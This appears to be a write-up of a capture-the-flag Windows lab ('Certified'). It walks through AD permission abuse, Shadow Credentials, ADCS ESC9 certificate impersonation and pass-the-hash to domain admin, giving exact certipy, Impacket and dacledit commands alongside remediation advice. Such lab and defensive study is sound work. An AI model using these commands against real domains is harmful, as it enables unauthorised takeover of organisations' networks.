jperezduerto.info
Certified
Windows· Medium
Summary
Starting from a single low-privilege domain credential (judith.mader), I used BloodHound to map a full Active Directory ACL-abuse chain against the certified.htb domain controller. Take-ownership rights over the 'Management' security group let me self-add to that group; Management, in turn, held GenericWrite over the management_svc service account and GenericAll over ca_operator, both of which were escalated using Shadow Credentials (Key Trust) attacks to obtain their NT hashes without ever touching a password.
The final hop abused an Active Directory Certificate Services template (CertifiedAuthentication) that lacked the security extension binding a certificate to a specific account SID (ADCS ESC9): by temporarily setting ca_operator's UPN to 'Administrator' and requesting a certificate from that template, I obtained a certificate the domain controller mapped to the Administrator account, yielding the Administrator NTLM hash. Pass-the-hash authentication as Administrator gave full command execution on the domain controller, from which both user.txt and root.txt were retrieved — a complete domain compromise built entirely on chained AD permission and PKI misconfigurations, no software exploit required.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"Attack path — how the box was taken
1EnumerationAuthenticated Active Directory enumeration (BloodHound)
Mapped the domain with authenticated BloodHound collection
Using the supplied domain credential judith.mader/[REDACTED: recovered credential], I resolved the domain controller (dc01.certified.htb) and ran a full BloodHound collection to build the Active Directory object and permissions graph. The 'Outbound Object Control' view for judith.mader revealed a WriteOwner right over the 'Management' security group — the first link in a full ACL-abuse chain leading to Domain Admin.
Credential judith.mader recorded (add_cred); domain services on $TARGET enumerated: LDAP/GC (389/636/3268/3269), Kerberos (88), SMB (445), WinRM (5985).
Exact commands 2
Resolve the domain and DC hostname locally before authenticating.
echo "$TARGET certified.htb dc01.certified.htb" | sudo tee -a /etc/hostsCollect the full AD graph as judith.mader; ingest into BloodHound and review Outbound Object Control on judith.mader.
bloodhound-python -u judith.mader -p [REDACTED: recovered credential] -d certified.htb -ns $TARGET -c All2Privilege EscalationAD ACL abuse — WriteOwner / WriteMembers takeover of a privileged group (similar to T1098)
Abused WriteOwner on the Management group to grant self membership rights
Judith.mader held a WriteOwner ACE over the 'Management' security group. I took ownership of the group, then granted judith.mader the WriteMembers right on it, and finally added judith.mader as a member. Active Directory group-membership is baked into a user's Kerberos ticket (PAC), so I had to re-authenticate to actually receive the group's downstream privileges.
Add_cred certified.htb\judith.mader; Management group carried onward GenericWrite/GenericAll over management_svc and (transitively) ca_operator.
Exact commands 4
Take ownership of the Management group object.
owneredit.py -action write -new-owner judith.mader -target Management certified.htb/judith.mader:[REDACTED: recovered credential] -dc-ip $TARGETGrant judith.mader the right to modify group membership.
dacledit.py -action write -rights WriteMembers -principal judith.mader -target Management certified.htb/judith.mader:[REDACTED: recovered credential] -dc-ip $TARGETAdd judith.mader into the Management group.
net rpc group addmem "Management" "judith.mader" -U certified.htb/judith.mader%[REDACTED: recovered credential] -S $TARGETForce a fresh Kerberos TGT so the new group membership is reflected in the PAC — required before the new rights take effect.
kdestroy && kinit judith.maderFixRemove excessive WriteOwner/WriteMembers delegation on privileged groupsHigh
WeaknessThe standard user account judith.mader held a WriteOwner right over the 'Management' security group — an undocumented delegation that let a low-privilege user take ownership of the group, grant itself membership rights, and add itself as a member with no approval workflow.
FixAudit all AD object ACLs for non-default WriteOwner/WriteDacl/GenericAll/GenericWrite grants (BloodHound or PingCastle can enumerate these), remove any that are not explicitly required, and route legitimate group-membership changes through a documented, monitored process (e.g. PAM/JIT elevation) rather than standing ACL grants.
3Privilege EscalationShadow Credentials / Key Trust abuse via GenericWrite (T1098.001-style AD persistence, offensive use)
Escalated to management_svc via a Shadow Credentials attack
As a member of Management, I inherited GenericWrite over the management_svc service account. GenericWrite allows writing to the msDS-KeyCredentialLink attribute, so I attached my own certificate ('Shadow Credential') to management_svc and used it to request a Kerberos PKINIT ticket, converting the write right directly into the account's NT hash — no password guessing or cracking needed.
Add_cred certified.htb\management_svc recorded immediately after the Management group takeover.
Exact commands 1
Add a shadow credential to management_svc and authenticate via PKINIT to retrieve its NT hash.
certipy shadow auto -u judith.mader -p [REDACTED: recovered credential] -account management_svc -dc-ip $TARGETFixRestrict who can write to msDS-KeyCredentialLink and monitor Shadow Credential additionsCritical
WeaknessThe Management group had GenericWrite over management_svc, and management_svc had GenericAll over ca_operator. Both rights allowed writing to the target account's msDS-KeyCredentialLink attribute, letting an unauthorised user attach an externally controlled certificate ('Shadow Credential') and authenticate via PKINIT to recover each account's NTLM hash without ever knowing its password.
FixRemove GenericWrite/GenericAll grants that are not operationally required, and specifically deny write access to msDS-KeyCredentialLink for non-administrative principals. Deploy detections for Event ID 5136 (attribute modify) on msDS-KeyCredentialLink and for anomalous PKINIT (Event ID 4768 with certificate-based pre-auth) from accounts that don't normally use certificates.
4Privilege EscalationShadow Credentials / Key Trust abuse via GenericAll
Escalated to ca_operator via a second Shadow Credentials attack
Management_svc held GenericAll over the ca_operator account — an even broader right than the previous hop. I repeated the Shadow Credentials technique, this time authenticating as management_svc using the NT hash captured in the previous step, to mint a certificate for ca_operator and recover its NT hash. Ca_operator's name and rights hinted at certificate-authority-related permissions, making it the pivot into ADCS abuse.
Add_cred certified.htb\ca_operator recorded after the management_svc hash was obtained.
Exact commands 1
Repeat the shadow-credential attack, now authenticating as management_svc via pass-the-hash, to extract ca_operator's NT hash.
certipy shadow auto -u management_svc -hashes ':<management_svc_nt_hash>' -account ca_operator -dc-ip $TARGET5ExploitationAD CS ESC9 — certificate template lacking the security extension (no strong SID binding)
Enumerated AD CS and identified a vulnerable certificate template (ESC9)
Using ca_operator's credentials, I queried the domain's Certificate Authority (certified-DC01-CA) with Certipy. Of 34 templates and 12 enabled, the 'CertifiedAuthentication' template stood out: it carried the CT_FLAG_NO_SECURITY_EXTENSION flag, meaning certificates it issues carry no SID binding back to the requesting account. Because the DC falls back to UPN-based mapping for such certificates, any account permitted to both edit its own UPN and enroll in this template can impersonate any other account — including Administrator.
Certipy find enumerated 34 templates / 12 enabled / 1 CA (certified-DC01-CA); CertifiedAuthentication flagged vulnerable due to CT_FLAG_NO_SECURITY_EXTENSION.
Exact commands 1
Enumerate CA and template configuration and flag ESC1-ESC11 style weaknesses; CertifiedAuthentication reports ESC9.
certipy find -u ca_operator -hashes ':<ca_operator_nt_hash>' -dc-ip $TARGET -vulnerable -stdout6ExploitationAD CS ESC9 exploitation — UPN impersonation via a template with no security extension
Abused ESC9 to obtain the Administrator NTLM hash
I changed ca_operator's UPN to 'Administrator', then requested a certificate from the vulnerable CertifiedAuthentication template as ca_operator. Because the issued certificate carries no SID and the DC maps it by UPN, the DC treated the resulting authentication as the real Administrator account. I immediately restored ca_operator's original UPN to avoid breaking its own logon, then used the certificate to retrieve the Administrator account's NTLM hash via PKINIT.
Add_cred certified.htb\Administrator recorded; NT hash '[REDACTED: recovered credential]' subsequently used for pass-the-hash.
Exact commands 4
Temporarily set ca_operator's UPN to Administrator.
certipy account update -u management_svc -hashes ':<management_svc_nt_hash>' -user ca_operator -upn Administrator -dc-ip $TARGETRequest a certificate from the vulnerable template while impersonating Administrator's UPN.
certipy req -u ca_operator -hashes ':<ca_operator_nt_hash>' -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip $TARGETRestore ca_operator's real UPN immediately — do this even if a later step fails, to avoid leaving the account broken.
certipy account update -u management_svc -hashes ':<management_svc_nt_hash>' -user ca_operator -upn ca_operator@certified.htb -dc-ip $TARGETAuthenticate with the issued certificate via PKINIT to recover the Administrator NT hash.
certipy auth -pfx administrator.pfx -dc-ip $TARGETFixRemediate the AD CS ESC9 misconfiguration on the CertifiedAuthentication templateCritical
WeaknessThe CertifiedAuthentication certificate template was configured with CT_FLAG_NO_SECURITY_EXTENSION, so certificates it issued carried no SID tying them to the requesting account. Combined with the ability to edit an enrolling account's UPN, this let an unauthorised user impersonate Administrator simply by changing ca_operator's UPN before requesting a certificate.
FixRemove the CT_FLAG_NO_SECURITY_EXTENSION flag from the template (or retire the template) and enable strong certificate mapping domain-wide (set StrongCertificateBindingEnforcement to 2 via the KB5014754 registry setting on all DCs). Restrict who can modify the userPrincipalName attribute on service/operator accounts and review certificate template enrollment permissions with certipy find or PSPKIAudit.
7Post-ExploitationPass-the-hash (NTLM) remote code execution (T1550.002)
Authenticated as Administrator via pass-the-hash and captured both flags
With the Administrator NTLM hash, I authenticated directly to the domain controller without ever knowing the plaintext password, using Impacket's wmiexec for remote command execution. From this SYSTEM-equivalent session I confirmed Domain Administrator context, then read the user and root flags directly off disk.
Impacket-wmiexec authenticated as CERTIFIED/Administrator over SMBv3; read C:\Users\management_svc\Desktop\user.txt and C:\Users\Administrator\Desktop\root.txt.
Exact commands 4
Open a command shell as Administrator using pass-the-hash — no plaintext password needed.
impacket-wmiexec -hashes '[REDACTED: recovered credential]' 'CERTIFIED/Administrator'@$TARGETRun in the wmiexec shell to prove Administrator/SYSTEM-equivalent context before reading flags.
whoamiRead the user flag; replace output with <user.txt> when reporting.
type C:\Users\management_svc\Desktop\user.txtRead the root flag; replace output with <root.txt> when reporting.
type C:\Users\Administrator\Desktop\root.txtFixReduce exposure to NTLM hash theft and pass-the-hash reuseHigh
WeaknessOnce an NTLM hash for Administrator was obtained, it could be used directly for remote authentication and command execution (pass-the-hash) with no additional factor or restriction, giving an unauthorised user full domain-controller access.
FixAdd Administrator and other Tier-0 accounts to the Protected Users group (or use gMSA/LAPS-managed credentials so no static hash exists to steal), enable Credential Guard on domain controllers and admin workstations, and restrict Administrator logon to a hardened admin workstation/PAW via Authentication Policies and Silos. Enforce SMB signing and disable NTLM where Kerberos is viable.
Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | microsoft-ds |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49689/tcp | unknown recon-sweep-discovered |
| 49690/tcp | unknown recon-sweep-discovered |
| 49695/tcp | unknown recon-sweep-discovered |
| 49724/tcp | unknown recon-sweep-discovered |
| 49732/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |